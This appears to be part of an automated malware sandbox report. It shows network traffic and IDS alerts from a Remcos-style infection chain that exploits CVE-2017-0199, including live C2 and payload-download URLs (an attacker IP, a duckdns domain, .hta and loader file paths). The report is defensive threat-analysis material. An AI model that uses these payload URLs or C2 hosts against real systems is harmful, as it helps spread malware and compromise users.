                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49169 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49169
                Source: global trafficTCP traffic: 192.168.2.22:49169 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
                Source: global trafficTCP traffic: 192.168.2.22:49169 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49171 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49169
                Source: global trafficTCP traffic: 192.168.2.22:49169 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49171
                Source: global trafficTCP traffic: 192.168.2.22:49171 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49171 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49171
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49171
                Source: global trafficTCP traffic: 192.168.2.22:49171 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49171
                Source: global trafficTCP traffic: 192.168.2.22:49171 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.3.101.21:80 -> 192.168.2.22:49172
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80
                Source: global trafficTCP traffic: 192.168.2.22:49172 -> 192.3.101.21:80

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.22:49172 -> 192.3.101.21:80
                Source: Network trafficSuricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.101.21:80 -> 192.168.2.22:49166
                Source: Network trafficSuricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.101.21:80 -> 192.168.2.22:49164
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49177 -> 192.3.101.193:9674
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49176 -> 192.3.101.193:9674
                Source: Network trafficSuricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound : 192.3.101.21:80 -> 192.168.2.22:49175
                Source: Network trafficSuricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 : 192.3.101.21:80 -> 192.168.2.22:49175
                Source: Network trafficSuricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 192.3.101.21:80 -> 192.168.2.22:49175
                Source: Network trafficSuricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.22:49167 -> 192.3.101.21:80
                Source: Network trafficSuricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 172.217.16.193:443 -> 192.168.2.22:49174
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: cokka.duckdns.org
                Source: Malware configuration extractorURLs: cokka.duckdns.org
                Uses dynamic DNS services
                Source: unknownDNS query: name: cokka.duckdns.org
                Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /412/LLMCRTT.txt HTTP/1.1Host: 192.3.101.21Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: Joe Sandbox ViewIP Address: 172.67.162.95 172.67.162.95
                Source: Joe Sandbox ViewIP Address: 104.21.74.191 104.21.74.191
                Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
                Source: Joe Sandbox ViewJA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
                Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
                Source: Network trafficSuricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49166 -> 192.3.101.21:80
                Source: Network trafficSuricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 192.3.101.21:80
                Source: Network trafficSuricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49171 -> 192.3.101.21:80
                Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.22:49178 -> 178.237.33.50:80
                Source: global trafficHTTP traffic detected: GET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.101.21Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.101.21If-Range: "20ccf-625988057b33c"
                Source: global trafficHTTP traffic detected: GET /412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIF HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.101.21Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Tue, 29 Oct 2024 07:26:18 GMTConnection: Keep-AliveHost: 192.3.101.21If-None-Match: "20ccf-625988057b33c"
                Source: global trafficHTTP traffic detected: GET /412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIF HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.101.21Connection: Keep-Alive
                Source: unknownHTTPS traffic detected: 142.250.184.206:443 -> 192.168.2.22:49173 version: TLS 1.0
                Source: unknownHTTPS traffic detected: 172.217.16.193:443 -> 192.168.2.22:49174 version: TLS 1.0
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
